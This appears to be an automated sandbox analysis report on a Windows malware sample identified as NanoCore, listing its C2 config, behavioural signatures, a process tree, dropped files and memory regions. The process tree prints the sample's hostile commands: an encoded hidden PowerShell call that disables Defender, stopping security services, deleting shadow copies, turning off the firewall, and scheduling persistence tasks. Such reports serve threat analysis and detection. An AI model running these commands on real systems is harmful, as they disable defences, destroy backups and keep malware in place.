Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 08:14

General

  • Target
    2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 57KB
  • Sample261002-j4855sydkf
  • SHA256 4e00992244e54ba05c214f6aeb79da5f2d570cfbabf88fb16c2b52b2771b8fd2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://xoilacxxw.cc

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://xoilacxxw.cc

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4212
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1944
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5752
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4268
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3136
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5408
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4684
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4604
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:256
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1556
      • C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:5704
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:5580
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1572
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:4544
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4380
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:1588
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6084
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6032
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:4760
        • C:\Windows\System32\vssadmin.exe
          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:2072
        • C:\Windows\System32\wbem\WMIC.exe
          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
          2⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:6136
        • C:\Windows\System32\net.exe
          "C:\Windows\System32\net.exe" stop srservice
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:6100
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop srservice
            3⤵
              PID:1376
          • C:\Windows\System32\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
            2⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:5416
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1268
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:328
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              PID:3796
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3480
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:1156
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:6028
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Discovers running processes
              PID:968
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:560
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:4380
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5408
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5900
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:4732
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4724
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:5396
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3476
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  PID:1160
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:1592
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5856
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:1520
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:2864
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3176
            • C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe
              C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe
              1⤵
                PID:3940
              • C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-10-01_984927ce635d8faa6b8ca47887ef8a37_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:2040

                Network

                      MITRE ATT&CK Enterprise v16

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                      Downloads

                      scr_20261002_091616.jpg

                      • Path C:\ProgramData\SysUpdate\Scr\scr_20261002_091616.jpg
                      • Size 127KB
                      • SHA256 eaad3fee2352f83bf6c282fce56da48d8d67f63d33a8e4cfb2583c26499345b6
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_2.pdf

                      • Path C:\SystemVolumeInformation\doc_2.pdf
                      • Size 76KB
                      • SHA256 618e5f98dbeb826704eac9690169959fef3a4e945b3b7042e2aa5ccfed249797
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      __PSScriptPolicyTest_despwp2j.diu.psm1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_despwp2j.diu.psm1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 309B
                      • SHA256 c7531849630700e2f409a23ae7751f8ed22066a8d6310bb899b3a90671c8890f
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 310B
                      • SHA256 2f9965807d0d35854d408fab5565c4e12dd03bce7e851901d7c82a0e4bd6c401
                      • MD5 SHA1 SHA512 TLSH

                      temp_steal.log

                      • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                      • Size 170KB
                      • SHA256 12ce9e1d1923a6bbeae12cfeece0110d3c289c81efe7026a595652334cc936aa
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      stolen_data_here.txt

                      • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                      • Size 170KB
                      • SHA256 6487dbe76d2cd28ae8894f7703b864f59cfe5b6e08014c3e25850749e8c62adb
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      invoice_1.pdf

                      • Path C:\Users\Admin\Documents\invoice_1.pdf
                      • Size 76KB
                      • SHA256 4d6ab2a4fe03d7654c57be68632ff42fdafd1196d85afbcad9226e6af19fa9dd
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      READ_ME_NANOCORE.txt

                      • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                      • Size 145B
                      • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                      • MD5 SHA1 SHA512 TLSH

                      RANSOM_NOTE.txt

                      • Path F:\RANSOM_NOTE.txt
                      • Size 177B
                      • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                      • MD5 SHA1 SHA512 TLSH

                      memory/4212-13-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-2035-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-18-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-19-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-20-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-9-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-22-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-27-0x0000022770670000-0x000002277068E000-memory.dmp

                      memory/4212-14-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-30-0x0000022770690000-0x0000022770742000-memory.dmp

                      memory/4212-2244-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-63-0x0000022770750000-0x000002277075A000-memory.dmp

                      memory/4212-10-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-11-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4212-12-0x00000227702E0000-0x0000022770302000-memory.dmp

                      memory/4212-17-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-3-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-1887-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-2181-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-1854-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-0-0x00007FFE02C9F000-0x00007FFE02CA0000-memory.dmp

                      memory/4624-2250-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-21-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-5-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-1893-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-4-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-2-0x00007FFE02B10000-0x00007FFE034B4000-memory.dmp

                      memory/4624-1-0x0000000000E00000-0x0000000000E14000-memory.dmp

                      memory/4760-2251-0x00000235DF8D0000-0x00000235DF8D1000-memory.dmp